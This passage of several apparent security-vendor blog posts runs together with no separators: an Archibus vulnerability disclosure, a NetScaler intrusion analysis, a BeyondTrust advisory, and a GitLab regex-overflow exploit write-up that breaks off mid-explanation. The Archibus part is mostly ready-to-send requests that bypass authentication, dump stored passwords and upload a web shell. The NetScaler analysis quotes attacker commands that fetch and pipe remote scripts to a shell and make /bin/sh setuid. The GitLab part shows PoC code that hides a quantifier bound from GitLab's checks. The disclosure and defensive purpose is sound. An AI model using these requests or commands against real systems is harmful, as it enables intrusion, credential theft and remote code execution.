For exploitation, the scriptSessionId and PROJECT_ID are required. The DWR API requests are in the following format:

POST /archibus/dwr/call/plaincall/single.2.dwr
Content-Type: text/plain
Cookie: DWRSESSIONID=abc

callCount=1
batchId=0
instanceId=0
page=%2F
scriptSessionId=abc/def
c0-scriptName=<SCRIPT_NAME>
c0-methodName=<METHOD_NAME>
c0-id=0
c0-param0=string:<PROJECT_ID>

The scriptSessionId can be obtained with this DWR request. The JSESSIONID can be obtained by browsing to /archibus/login.axvw:

POST /archibus/dwr/call/plaincall/__System.generateId.dwr HTTP/1.1
Content-Type: text/plain
Cookie: JSESSIONID=<SESSION_ID>callCount=1
batchId=0
instanceId=0
c0-scriptName=__System
c0-methodName=generateId
c0-id=0
page=%2Farchibus%2Flogin.axvw
scriptSessionId=

The Project_ID can be obtained with this request:

POST /archibus/dwr/call/plaincall/SecurityService.getProjects.dwr HTTP/1.1
Content-Type: text/plain
Cookie: JSESSIONID=<SESSION_ID>; DWRSESSIONID=abccallCount=1
batchId=1
instanceId=0
nextReverseAjaxIndex=0
c0-scriptName=SecurityService
c0-methodName=getProjects
c0-id=0
page=%2Farchibus%2Flogin.axvw
scriptSessionId=abc/def

Proof-of-Concept (POC) Example

Request To Run Workflow Rule Without Authentication

Obtain a scriptSessionId and the Project_ID. These can be obtained easily by sending a login request from the browser and viewing the request. This request to the DWR endpoint specifies two DWR method calls by specifying the callCount parameter as 2. The first method called is the isPasswordUppercase method. Its parameters begin with c0 in the POST body. It sets the user session in the context store with context.setUserSession(coreUserSession) via isPasswordUppercase. The second method called is the runWorkflowRule method which uses the context of the core user session which was set by the isPasswordUppercase method. Its parameters begin with c1. The end result is that any workflow can be run with the core user session without providing any credentials. 

POST /archibus/dwr/call/plaincall/Multiple.2.dwr 
Content-Type: text/plain
Cookie: DWRSESSIONID=abc 

callCount=2 
batchId=0 
instanceId=0 
page=%2F 
scriptSessionId=abc/def 
c0-scriptName=SecurityService 
c0-methodName=isPasswordUppercase 
c0-id=0 
c0-param0=string:<PROJECT_ID> 
c1-scriptName=workflow 
c1-methodName=runWorkflowRule 
c1-id=1 
c1-param0=string:<RULE_NAME> 
c1-param1=Object_Object:{...params...} 
c1-param2=null:null"

Example Response

throw 'allowScriptTagRemoting is false.';
//#DWR-REPLY
//#DWR-START#
(function(){
if(!window.dwr)return;
var dwr=window.dwr._[0];
dwr.engine.remote.handleCallback("0","0",false);
dwr.engine.remote.handleCallback("0","1",{code:"executed",detailedMessage:null,executionTime:16,jsonExpression:null,message:"<WORKFLOW_OUTPUT>",output:null,value:null,xmlDocument:null});
})();
//#DWR-END#

CVE-2026-107187 - Archibus Database Read

The AbCommonResources-getDataRecords workflow allows users to read any database table, including usernames and passwords. This vulnerability can be chained with the authentication bypass vulnerability to read sensitive data from the database without authentication. 

Technical Analysis

Using the earlier auth bypass vulnerability, the AbCommonResources-getDataRecords workflow is callable without authentication. This maps to the ViewHandlers method that operates on any Archibus-managed table:

// ViewHandlers.java - getDataRecords()
public void getDataRecords(EventHandlerContext context) {
    // ...
    String restriction = context.getString("restriction");
    // ...
    String recordSql = dataSource.formatSqlQuery(restriction, sortValues, filterValues, true, false);
}

Authenticated users may also be able to send the request without performing the auth bypass. The code checks if a user in the workflow rules security group. An exception is thrown if the user is not. Rapid7 did not check if the workflow request was able to be sent as a standard user.

// WorkflowRulesContainerImpl.java - line 499
public void checkPermission(WorkflowRule.Immutable workflowRule, 
                            ContextCacheable.Immutable context, 
                            String methodName) throws ExceptionBase {
    UserAccount.Immutable userAccount = context.findUserSession().getUserAccount();
    String ruleKey = workflowRule.getKey();
    if (!userAccount.isMemberOfGroup(workflowRule.getSecurityGroup())) {
        throw new ExceptionBase("Your account does not belong to the security group...");
    } else if (!workflowRule.isActive()) {
        throw new ExceptionBase("This rule is not active at your site...");
    }
    // ... 
}

Proof-of-Concept (POC) Example

After obtaining a scriptSessionId and the Project_ID, which can be obtained easily by sending a login request from the browser and viewing the request, a malicious actor can leverage the auth bypass vulnerability. They can set the second call in the DWR request for the AbCommonResources-getDataRecords workflow. The afm_users table can be queried to view usernames and passwords.

Request

POST /archibus/dwr/call/plaincall/Multiple.2.dwr HTTP/1.1
Host: TARGET
Content-Type: text/plain

callCount=2
batchId=0
instanceId=0
page=%2F
scriptSessionId=abc/def
c0-scriptName=SecurityService
c0-methodName=isPasswordUppercase
c0-id=0
c0-param0=string:<PROJECT_ID>
c1-scriptName=workflow
c1-methodName=runWorkflowRule
c1-id=1
c1-param0=string:AbCommonResources-getDataRecords
c1-param1=Object_Object:{tableName:reference:c1-e1,fieldNames:reference:c1-e2,indexField:reference:c1-e3,indexLevel:reference:c1-e4,indexValue:reference:c1-e5,sortValues:reference:c1-e6,filterValues:reference:c1-e7,restriction:reference:c1-e8,controlId:reference:c1-e9,recordLimit:reference:c1-e10}
c1-e1=string:afm_users
c1-e2=string:['afm_users.user_name', 'afm_users.user_pwd']
c1-e3=string:afm_users.user_name
c1-e4=string:0
c1-e5=string:
c1-e6=string:[]
c1-e7=string:[]
c1-e8=string:1=1
c1-e9=string:control-1
c1-e10=string:10000
c1-param2=null:null

Response

throw 'allowScriptTagRemoting is false.';
//#DWR-REPLY
//#DWR-START#
(function(){
if(!window.dwr)return;
var dwr=window.dwr._[0];
dwr.engine.remote.handleCallback("0","0",false);
dwr.engine.remote.handleCallback("0","1",{code:"executed",detailedMessage:null,executionTime:13,jsonExpression:"{\"primaryKeyIds\":[\"afm_users.user_name\"],\"records\":[{\"afm_users.user_name\":\"PASSWORD\",\"afm_users.user_pwd\":\"PASSWORD\",\"afm_users.user_name.key\":\"PASSWORD\"}]...

Below is a snippet of what the request and response looks like on a live system. The user_name , user_pwd, email, and role_name columns are extracted from the afm_users table where role_name is ‘SYSTEM ADMINISTRATOR (ACP)’.

Figure 1: Reading Passwords And Emails In User Table b

CVE-2026-107188 - Archibus Unrestricted File Upload

The AbCommonResources-writeHTMLtoFile workflow writes user-controlled content to disk with a user-controlled file extension and no validation. This allows users to write JSPX code to browsable locations, which will execute when browsed to. This vulnerability can be chained with the auth bypass vulnerability to upload executable code without auth.

Technical Analysis

The AbCommonResources-writeHTMLtoFile workflow writes user-controlled content to disk with a user-controlled file extension and no validation:

// ViewHandlers.java - writeHTMLtoFile()
public void writeHTMLtoFile(EventHandlerContext context) {
    String htmlDoc = (String) context.getParameter("html");          // attacker controls content
    String extension = (String) context.getParameter("fileExtension"); // attacker controls extension
    // ...
    File outputFile = File.createTempFile("DataViewReport", "." + extension, outputDir);
    BufferedWriter xlsOut = new BufferedWriter(new FileWriter(outputFile));
    xlsOut.write(htmlDoc);    // writes attacker content to disk
    xlsOut.close();
}

Proof-of-Concept (POC) Example

Step 1 

Obtain a scriptSessionId and the Project_ID. These can be obtained easily by sending a login request in the browser and viewing the request. This vulnerable workflow can be chained with the auth bypass vulnerability to upload JSPX files without authentication. The server responds with the filename it generated, along with the browsable file path. Browsing to files uploaded with the JSP extension would trigger an authentication redirect. Browsing to files uploaded with the JSPX file extension didn’t force a redirect, so attacker JSPX code could be executed without authentication when browsing to the file. 

Request

POST /archibus/dwr/call/plaincall/Multiple.2.dwr HTTP/1.1
Host: TARGET
Content-Type: text/plain

callCount=2
batchId=0
instanceId=0
page=%2F
scriptSessionId=abc/def
c0-scriptName=SecurityService
c0-methodName=isPasswordUppercase
c0-id=0
c0-param0=string:<PROJECT_ID>
c1-scriptName=workflow
c1-methodName=runWorkflowRule
c1-id=1
c1-param0=string:AbCommonResources-writeHTMLtoFile
c1-param1=Object_Object:{html:reference:c1-e1,fileExtension:reference:c1-e2}
c1-e1=string:<JSPX_WEBSHELL_CONTENT>
c1-e2=string:jspx
c1-param2=null:null

The response includes the generated browsable file path.

Response

throw 'allowScriptTagRemoting is false.';
//#DWR-REPLY
//#DWR-START#
(function(){
if(!window.dwr)return;
var dwr=window.dwr._[0];
dwr.engine.remote.handleCallback("0","0",false);
dwr.engine.remote.handleCallback("0","1",{code:"executed",detailedMessage:null,executionTime:16,jsonExpression:"{\"exportFileName\":\"\\\/archibus\\\/schema\\\/\\\/per-site\\\/\\\/exportReports\\\/\\\/DataViewReport<TIMESTAMP>.jspx\"}",message:null,output:null,value:null,xmlDocument:null}

Step 2

Browse to the file path.

curl https://TARGET/archibus/schema/per-site/exportReports/DataViewReport<TIMESTAMP>.jspx

Rapid7 exploited the vulnerability on a Vector Command customer's server. As a first proof of concept, a JSPX file to print the server time was uploaded.

Figure 2: Inserted Java Code To Print Server Time

Remediation

Users should update Archibus to version 2025.02 or higher. The vulnerable DWR method used for auth bypass was moved to a REST API in version 2025.02. Users should sign into their Eptura account to download the Archibus installer. 

Rapid7 Customers

Exposure Management, Vulnerability Management, Nexpose

Exposure Management, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-107186, CVE-2026-107187, CVE-2026-107188 with vulnerability checks expected to be available in the October 21 content release.

Disclosure Timeline

• May 25, 2026: Issues discovered by Marcus Chang and exploited on Vector Command customer’s Archibus server. 

• July 2, 2026: Initial outreach to Eptura. Eptura acknowledges with an automated receipt reply. 

• July 14 and July 28, 2026: Follow up with Eptura requesting a reply to the initial outreach.

• July 30, 2026: Eptura replies to confirm that they are willing to receive the report of the vulnerability and mention that the version referenced by Rapid7 in the initial outreach is no longer a supported version along with a link to their support policy.

• August 11, 2026: Disclosure document provided to Eptura along with questions regarding Eptura’s plan to address the vulnerability. Rapid7 also mentions that a coordinated vulnerability disclosure would be the preferred approach.

• August 18 and September 1, 2026: Follow up with Eptura requesting verification of the vulnerability details report and reiterating the preference to disclose in a coordinated manner.

• September 8, September 15, and September 29,  2026: Follow up with Eptura. In addition, Rapid7 notes that October 11 marks 60 days from initial disclosure and the date of public disclosure will be October 12, 2026.

• October 7, 2026: Follow up with Eptura requesting verification of the vulnerability details report and reiterating the preference to disclose in a coordinated manner. In addition, Rapid7 requests a vendor statement to be included in the blog and acknowledges that CVE IDs have been reserved for the issues disclosed to the Epture team.

• October 9, 2026: Eptura replies to clarify impacted versions and state a fix is in development for version 2025.01. Eptura requests a one week extension to move the disclosure to October 19.

• October 12, 2026: Rapid7 agrees to the one week extension and provides the reserved CVE IDs to Eptura.

• October 19, 2026: Public disclosure via publication of this blog post.

In early October 2026, Rapid7 analysts investigated a compromise of a Citrix NetScaler ADC appliance. The appliance was running an affected 14.1 build and was exposed to active exploitation targeting NetScaler authentication and SAML deployments.

The intrusion achieved root code execution, deployed multiple persistence mechanisms, installed PHP web shells, created outbound command-and-control and internal tunnelling capabilities, performed targeted reconnaissance of DNS, LDAP/Active Directory, management services and VMware vCenter infrastructure, and exfiltrated NetScaler configuration and key material.

The activity overlaps with public reporting on the WHIPSHOT/SLAPSHOT NetScaler campaign. However, this case provides additional detail on the operational lifecycle, including repeated post-reboot execution through the crash-handling workflow, HA-aware persistence, a dedicated Go reconnaissance tool, a separate FreeBSD proxy agent, and a staged collection pipeline.

Key findings

• The first confirmed root execution occurred shortly after attacker-controlled text was inserted into a NetScaler authentication username.

• The injected text caused or immediately preceded repeated nsaaad crashes and a Pitboss reboot.

• After reboot, the NetScaler call-home crash handler processed the retained attacker-controlled text and executed a payload as root.

• The attacker installed cookie-authenticated PHP web shells behind CSS-looking Apache aliases.

• The attacker set /bin/sh to mode 6555, allowing an unprivileged web process to obtain effective root privileges.

• The implant framework maintained access through cron, rc.netscaler, watchdog loops, an outbound reverse agent, and an HTTP-fronted TCP proxy.

• HA synchronization and forced failover logic attempted to preserve access across the appliance pair.

• A Go tool mapped internal routes, DNS, LDAP/AD, management services and VMware vCenter systems. 

• NetScaler configuration, historical configurations, HTTP configuration, diagnostics and system backup material were staged for exfiltration.

Technical Analysis

Initial access

The first event was an authentication request containing attacker-controlled text similar to:

pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v ...;sh${IFS}/v;#

The observed chain was:

Figure 1: Sequence diagram showing the attack chain

Logs collected show attackers chaining CVE-2026-88771, the pre-authentication log-poisoning/RCE issue, with CVE-2026-88779, the separate SAML-parsing crash. A two-vulnerability sequence in which the SAML parsing flaw supplies a crash/reboot condition while the log-poisoning flaw supplies attacker-controlled command text.

The evidence demonstrates more than an attempted chain: the injected command, nsaaad crash loop, Pitboss reboot, post-reboot handler activity, and root payload execution are all directly correlated across independent logs and filesystem timestamps. The first implant files were created at the same second as the first logged post-reboot execution, and later stages, web shells, tunnels, reconnaissance tooling and exfiltration were confirmed.

Rapid7 also published an ETR on the Netscaler zero days currently exploited in the wild.

Repeated post-reboot execution

The initial execution was not a one-time event. The appliance recorded repeated Pitboss-initiated reboots and repeated call-home handler executions over several days.

The handler re-executed stages from multiple infrastructure addresses and the repeated execution model allowed the operator to refresh persistence, deploy new components and continue collection after appliance restarts.

The crash-handling path functioned as a delayed and repeatable execution trampoline, the chaining happened to avoid waiting 24h for the injected payload to run.

Payload evolution

Two .slap dropper versions were recovered:

17447d.sh (earlier version)
SHA-256: a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556

and:

1.sh 
SHA-256: 6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44

The later version added reverse-agent functionality, relay installation, HA recovery, stage tracking, and structured upload logging, indicating operational maturation during the campaign.

The nsvmd installer branch was separately identified as:

2.sh / r.sh
SHA-256: 56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186

Persistence and web shells

The main framework used a directory under /nsconfig/.slap.

/nsconfig/.slap/vc
/nsconfig/.slap/vcscan-agent.sh
/nsconfig/.slap/agent.pl
/nsconfig/.slap/bridge.pl
/nsconfig/.slap/boot.sh
/nsconfig/.slap/reverse-agent.sh

It deployed three web shell copies into the LogonPoint custom web directory:

.slap.receiver
.ctxs.receiver
receiver.deb

The shells used a cookie-based command channel. Commands were supplied through a second cookie and returned through an HTTP 404 response body. The 404 response helped the shell blend into normal web traffic and made successful command requests resemble missing resources.

The attacker modified Apache configuration to:

• execute .deb files as PHP;

• enable PHP execution;

• map CSS-looking URLs to .slap.receiver;

• accept randomized hexadecimal CSS suffixes;

• preserve an attacker backup of the HTTP configuration.

The alias created were the following:

/logon/LogonPoint/custom/receiver.v2.min.css
/logon/LogonPoint/custom/receiver.v2.min.<hex>.css
        ↓
/var/netscaler/logon/LogonPoint/custom/.slap.receiver

TA repeatedly set:

chmod 6555 /bin/sh

This made the shell setuid and setgid. Because Apache normally runs with reduced privileges, this provided a path for the PHP web shell to obtain effective root privileges.

The framework also reseeded cron entries and boot hooks whenever it ran. This made the compromise resilient to reboots, image regeneration and loss of individual cron entries.

Tunnelling and command channels

The intrusion deployed multiple redundant access paths.

Perl TCP session manager

agent.pl created a loopback listener on an ephemeral port and recorded it in /tmp/.uxdport

It used /tmp/.uxdlock for process coordination and supported operations including:

ping
open
push
pull
exch
close

The open operation accepted arbitrary destination hosts and ports, turning the NetScaler into an internal TCP pivot.

Python HTTP tunnel

The Python components provided a local session manager and HTTP front end:

it accepted base64 commands in an HTTP header and returned tunnel responses in HTTP 404 bodies. This behavior overlaps with publicly reported WHIPSHOT/SLAPSHOT tooling.

Outbound reverse agent

The reverse agent polled an external command endpoint every 15 seconds, executed the received command with /bin/sh -c, and returned output using HTTP PUT. This gave the operator command execution without requiring an inbound connection to the appliance.

HA-aware persistence

The framework included explicit HA recovery logic:

sync HA files all
force HA failover

The code attempted to synchronize implant files to the HA peer and, when appropriate, force failover so the node containing the implant became active.

Internal reconnaissance

A stripped, statically linked FreeBSD Go binary was recovered from the .slap directory. The tool was designed to map infrastructure reachable from the compromised appliance.

It contains functionality associated with:

• local interface and route parsing;

• gateway-prefix discovery;

• subnet expansion;

• DNS server and domain discovery;

• DNS zone-transfer hunting;

• LDAP anonymous bind and RootDSE queries;

• LDAP searches;

• management-service checks;

• TLS certificate inspection;

• VMware vCenter classification.

A launcher named vcscan-agent.sh downloaded and validated the scanner as scanner-freebsd-amd64, installed it as /nsconfig/.slap/vc, and ran two stages: broad scanning of RFC1918 space and management-focused scanning of ranges derived from DNS and LDAP results. The launcher collected route, DNS, LDAP, management and vCenter results into files such as:

vcpersist-<token>_dns_candidates.tsv
vcpersist-<token>_dns_ldap_verified.tsv
vcpersist-<token>_vcenter_verified_all.txt

It then compressed and uploaded the results to the operator infrastructure.

This reconnaissance component addition confirms the campaign is active and developing, mapping the identity, management and virtualization infrastructure from a compromised ADC vantage point.

nsvmd proxy

The second payload branch deployed a FreeBSD Go agent named nsvmd through injection of 2.sh/r.sh under /flash/.nsvm/nsvmd:

curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=<token>|sh

The agent was started with:

nsvmd -server v5v.in:443 -sni c.v5v.in

The installer created a 45s watchdog (/flash/.nsvm/watchdog.sh), boot persistence through /nsconfig/rc.netscaler, 5 minute and daily cron persistence (/flash/.nsvm/guard.sh,/flash/.nsvm/restart.sh) marking nsvmd immutable using chflags uchg. Agent logs were collected under /flash/.nsvm/.agent.log and /flash/.nsvm/.wd.log.

Configuration and key-material collection

The attacker staged and uploaded:

/nsconfig/
ns.conf.0 through ns.conf.4
ns.conf.bak
/etc/httpd.conf
system backup archives
implant diagnostics

The configuration archive could contain encrypted credentials, LDAP/RADIUS bind information, administrative configuration, SSL private keys and key-encryption material. The collection logic also uploaded manifests and stage logs and retried failed uploads.

A separate archive was staged in the web root and successfully downloaded through an HTTP 200 request. The response size matched the staged archive size, providing direct evidence of configuration exfiltration through the web interface.

MITRE ATT&CK techniques

Table 1: MITRE ATT&CK Tactics and Techniques

Indicators of compromise

Table 2: Malicious files and filesystem paths

Table 3: SHA-256 file hashes 

Table 4: Network indicators of compromise

Rapid7 customers

YARA rules and more IoCs are available in Rapid7’s Intelligence Hub along with ongoing intelligence on the latest campaigns.

Defensive recommendations

• Patch NetScaler appliances to the applicable CVE-2026-88779 and CVE-2026-88771 fixed builds and verify the earlier CTX697096 fixes.

• Treat Internet-facing appliances as potentially compromised if they were vulnerable during the campaign window.

• Collect volatile evidence before rebooting or rebuilding when compromise is suspected.

• Inspect both nodes of every HA pair.

• Hunt for the .slap, .relay and .nsvm paths.

• Hunt for setuid /bin/sh, unauthorized Apache PHP handlers and CSS-looking aliases.

• Search for nsaaad crashes, Pitboss reboots and ns_monuploadd_err.pl execution records.

• Rotate all credentials and keys exposed through /nsconfig, including LDAP/RADIUS credentials and encryption-related material.

• Review outbound traffic for the listed infrastructure and internal scanning from NetScaler source addresses.

Conclusion

This incident demonstrates how a NetScaler compromise can evolve from a pre-authentication injection into a persistent appliance-resident intrusion platform. The attacker combined web shells, setuid privilege persistence, outbound command execution, internal TCP tunnelling, HA manipulation, environment reconnaissance and automated configuration exfiltration.

The most significant new findings are the observed chaining of CVE-2026-88779 and CVE-2026-88771 and the dedicated reconnaissance workflow. Rather than using the ADC only as a foothold, the operator used it as a privileged vantage point to map internal networks, identity services, management infrastructure and virtualization systems. This provides defenders with additional high-value hunting opportunities and shows why patching alone is insufficient after an Internet-facing NetScaler has been exposed to active exploitation.

Additional resources

• https://www.cve.org/CVERecord?id=CVE-2026-88771

• https://www.cve.org/CVERecord?id=CVE-2026-88779

• https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/

• https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/

• https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway

• https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/

On October 15, 2026, BeyondTrust disclosed a critical authentication bypass in Remote Support (RS), its platform for remotely troubleshooting and administering endpoints. Tracked as CVE-2026-102764 and assigned a CVSSv4 score of 9.3, the vulnerability allows unauthenticated remote attackers to perform file operations on an affected appliance without user interaction. Versions 26.2.3 and earlier are affected unless the BT26-05-RS patch has been applied.

BeyondTrust has confirmed that exploitation in the wild has already occurred prior to disclosure. Its October 16 report dates the two known Remote Support compromises to August 29, 2026: one BeyondTrust-hosted instance and one self-hosted appliance. BeyondTrust discovered and contained the hosted compromise on September 28; Mandiant shared corroborating findings from the self-hosted investigation on September 30.

On October 16, 2026, CVE-2026-102764 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA's official KEV feed lists an October 19, 2026 due date and marks forensic triage as required. Rapid7 recommends remediating affected appliances on an emergency basis and investigating RS appliances for prior compromise.

BeyondTrust's remote access products have previously been targeted earlier this year. Rapid7 covered CVE-2026-1731, which was added to KEV in February 2026.

Technical overview

According to the vendor's CVE record, internal Remote Support components inadequately validate the origin of incoming messages, permitting file operations on the appliance. The flaw is classified as authentication bypass by spoofing (CWE-290). BeyondTrust is withholding exploitation details while customers apply patches.

Mandiant's investigation describes arbitrary file uploads, deployment of the SAWFLY PHP web shell and BARECLAW tunneler, root escalation, attempted credential-vault extraction, persistence, and log deletion. Mandiant attributes the activity to ARMORY CASTLE, a suspected PRC-nexus espionage actor formerly tracked as UNC5221.

Mitigation guidance

A vendor-provided patch is available. Rapid7 strongly recommends that organizations running affected self-hosted Remote Support appliances apply it on an emergency basis, outside of normal patching cycles.

Per BeyondTrust's advisory:

• Affected versions: Remote Support 26.2.3 and earlier, unless the patch has been applied.

• Remediation: Apply the BT26-05-RS patch, available for versions 24.3.1 through to26.2.3.

• Older deployments: Instances older than 24.3.1 require an upgrade to a patch-supported version followed by application of the patch.

• Self-hosted deployments: Confirm installation through the /appliance interface. Apply the patch manually if automatic updates are not enabled.

• SaaS deployments: BeyondTrust states that all Remote Support SaaS customers were patched as of October 9, 2026.

Note: BeyondTrust also recommends immediate patching of self-hosted Privileged Remote Access (PRA) because it shares the affected code. The vendor has not identified a way to exploit this vulnerability in PRA. PRA customers should confirm the appropriate patch with BeyondTrust Support.

Rapid7 strongly recommends investigating for compromise even after patching. Mandiant recommends preserving evidence before changes or reboots, isolating suspected appliances, and rebuilding from a clean, fully patched image if compromise is confirmed or cannot be ruled out. Organizations should rotate stored or brokered credentials after patching or rebuilding, and review administrative changes and downstream sessions. Credential and configuration reviews also apply to SaaS customers. Patching does not remove persistence.

For the latest mitigation guidance, please refer to the vendor's security advisory.

Artifacts, evidence sources, and IOCs

BeyondTrust recommends hunting for the following behaviors:

• Unrecognized administrative sessions from residential broadband or commercial VPN addresses.

• Unexpected scripts in web directories or shells spawned by web service accounts.

• Unauthorized account, permission, or session-policy changes, particularly to Jump Items or Teams.

• Gaps in log forwarding bounded by a single session.

The vendor cautions that infrastructure and tooling vary between victims; an absence of known indicators does not establish that an appliance is uncompromised. BeyondTrust customers can request an additional hunting package through its trust portal.

Organizations should forward appliance events to an external SIEM using BeyondTrust's syslog guidance and preserve existing external logs. Enabling forwarding now cannot recover previously deleted evidence.

Mandiant identified evidence in access, syslog, messages, thin-scc, brain, and SSL logs. Customers should coordinate host-level log and artifact inspection with BeyondTrust Support; they cannot audit the appliance host filesystem.

Mandiant's report includes the file indicators below and separate YARA rules:

Additional artifacts include /usr/bin/dbus-authd, /home/bomgar/sbin/post_boot.d/zz-root-persist, and an unauthorized /uidchanarge route in /ns/config/haproxy.conf.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-102764 with an authenticated vulnerability check expected to be available in the October 20 content release.

Updates

• October 19, 2026: Initial publication.

On October 12, 2026, GitLab released 19.4.2, 19.3.5, and 19.2.8 to fix CVE-2026-97229, an integer overflow in its CI/CD regular-expression handling. The issue was reported through HackerOne by joaxcar. GitLab assigned it a CVSS score of 10.0 and described possible code execution by an unauthenticated user.

The advisory states that CVE-2026-97229 affects GitLab CE and EE from 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2. GitLab says all deployment types are affected unless stated otherwise. GitLab.com was patched before disclosure, and Dedicated customers do not need to act.

Rapid7 researchers developed an end-to-end PoC that reliably runs arbitrary commands as GitLab's git operating-system account on the official Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0 image with ASLR enabled. GitLab's release notes do not report exploitation in the wild occurring at the time of disclosure.

This analysis covers one end-to-end route. It begins after an attacker has pushed both the malicious CI configuration and a specially named path to a public project; only the final CI lint request is unauthenticated. That prerequisite conflicts with GitLab's PR:N rating, and because the underlying report remains private, we do not yet know how the reported attack avoids it.

Technical analysis

At a high level, the chain crosses from attacker-controlled repository input into Onigmo pcode and finally native code execution.

CI rules pass repository paths to Onigmo

GitLab supports regular-expression matching over repository paths in rules:exists:regexp and rules:changes:regexp. One way to evaluate such an expression during static configuration processing is to place it on a conditional include:

include:
  - local: /benign.yml
    rules:
      - exists:
          regexp: "ATTACKER_PATTERN"

RegexpMatcher expands the expression, compiles it with Ruby's native regular-expression engine, and tests it against paths from the selected Git worktree:

# Exists#regexp_match?()
def regexp_match?(context)
  matcher = regexp_matcher(context)  matcher.validate_pattern_length! # [0] Source-length check

  Gitlab::SafeRequestStore.fetch(regexp_comparison_key(context, matcher.expanded_pattern)) do
    # ... top-level optimisation omitted
    matcher.match?(worktree_paths(context, false)) # [1] Repository paths
  end
end

# RegexpMatcher#match?()
def match?(paths)
  # ... path-count fail-open handling omitted
  pattern = compile_pattern # [2] Compile regexp
  deadline = current_monotonic_time + REGEXP_TOTAL_TIMEOUT_SECONDS

  paths.any? do |path|
    # ... total-budget check omitted
    pattern.match?(path) # [3] Native match
    # ... per-match timeout handling omitted
  end
end

By the time execution reaches [0], GitLab is checking only the length of the expanded source expression. The call at [1] supplies every filename in the selected commit, while compile_pattern at [2] ultimately invokes Regexp.new. Each iteration at [3] therefore crosses from CI configuration into native Onigmo with a repository path as the match subject.

Smuggling a large repeat through the checks

GitLab places several sensible limits around CI regular expressions. The interesting parts of its wrapper are shown below:

REPEAT_BOUND = /(?<!\\)(?:\\\\)*\{\s*(\d+)\s*(?:,\s*(\d+)?\s*)?\}/ # [4] Repeat scanner

def self.compile_regexp(pattern, timeout: nil)
  raise RegexpError, 'uses a subroutine call (\g), which is not allowed' if SUBROUTINE_CALL.match?(pattern) # [5] Subroutine-call check
  reject_large_repeats!(pattern) # [6] Repeat-bound check

  alternation_free = pattern.gsub(ESCAPE_OR_ALTERNATION) { |token| token == '|' ? '\\|' : token }

  probe =
    begin
      Regexp.new(alternation_free)
    rescue RegexpError => e
      # ... error-message rewriting omitted
    end

  check_compiled_size!(probe) # [7] Probe size check
  check_compiled_size!(Regexp.new(pattern, timeout: timeout)) # [8] Final size check
end

The source-length check occurs before this function. The subroutine-call check at [5] and the repeat-bound check at [6] defend against structural growth, but the scanner at [4] recognizes only contiguous digits. Compilation then happens twice: [7] checks an alternation-free probe, and [8] checks the requested expression and attaches the 50-millisecond timeout. Either object is rejected if it exceeds one megabyte.

The PoC hides its quantifier bound from the scanner at [4] via an inline comment: {5(?#)7805}

(?#) is an inline regex comment. Onigmo ignores it and reads the bound as 57,805. GitLab's scanner expects contiguous digits, so it does not see a bound above 1,000.

That bypass admits the large repeat, but the checked expression is still only 986 bytes. The six [[:word:]] classes expand when matching begins against a repository path containing valid four-byte UTF-8 characters. Ruby recompiles the same source for UTF-8, each POSIX word class expands into a large Unicode range table, and GitLab never checks the size of this new program.

Ruby selects or recompiles the regex before starting its timed matcher:

/* re.c: rb_reg_prepare_re() */
regex_t *reg = RREGEXP_PTR(re);
if (reg->enc == enc) return reg; // [9] Matching encoding

// ... source preprocessing and use-count branch omitted
r = onig_new_without_alloc(&tmp_reg, (UChar *)ptr, (UChar *)(ptr + len),
                           reg->options, enc,
                           OnigDefaultSyntax, &einfo); // [10] Onigmo recompile
// ... error handling and old-program replacement omitted

/* re.c: rb_reg_onig_match() */
reg = rb_reg_prepare_re(re, str);
// ... use-count bookkeeping omitted
OnigPosition result = match(reg, str, regs, args); // [11] Begin timed match
// ... result cleanup omitted

At [9], Ruby returns the existing program only when its encoding matches the subject. Otherwise, [10] recompiles the source for the subject encoding via Onigmo. Only then does [11] begin timed matching, leaving the unsafe compilation outside the timeout.

Onigmo compiles the regular expression into bytecode, which its source calls pcode. Its regex VM then runs that pcode against each path, so the UTF-8 recompilation at [10] is where the oversized pcode program is created.

The repeated target also carries the bytes that run after the overflow:

# poc.py: build()
# ... prefix setup omitted
target = "(?<=" + "[[:word:]]" * 6 + "".join(character_class(stage) for stage in STAGES)
digits = str(REPEAT_COUNT)
pattern = f"\\A(?>{prefix}(?:{target}){{{digits[0]}(?#){digits[1:]}}}|)\\b\\B"

The six [[:word:]] classes are only the size multiplier. The payload sits in four more character classes generated by character_class(stage). A class such as [abc] compiles to a bitmap with bits set for a, b, and c. The helper works backwards from each desired pcode sequence and chooses class members whose bitmap reproduces those bytes. This puts attacker-controlled VM instructions at the end of every expanded copy.

Crossing INT_MAX

Under UTF-8, one copy of the repeated body is 37,151 bytes. The relevant Onigmo compiler code in Ruby 3.3.12 is:

/* regcomp.c: compile_quantifier_node() */
/* ... earlier quantifier cases omitted */
else if (!infinite && qn->greedy &&
         (qn->upper == 1 || (tlen + SIZE_OP_PUSH) * qn->upper
                                <= QUANTIFIER_EXPAND_LIMIT_SIZE)) { // [12] Signed size check
int n = qn->upper - qn->lower;

  r = compile_tree_n_times(qn->target, qn->lower, reg); // [13] Expand lower copies
if (r) return r;

// ... optional copies omitted
}
/* ... remaining quantifier cases omitted */

With this body size (37,151) and quantifier bound (57,805):

37,151 × 57,805 = 2,147,513,555 = 0x800074d3

That is 29,908 (0x74D4) bytes beyond signed INT_MAX (0x7FFFFFFF). At [12], the negative result satisfies the compiler's “small enough to expand” test. Onigmo enters the expansion path at [13] and emits all 57,805 copies.

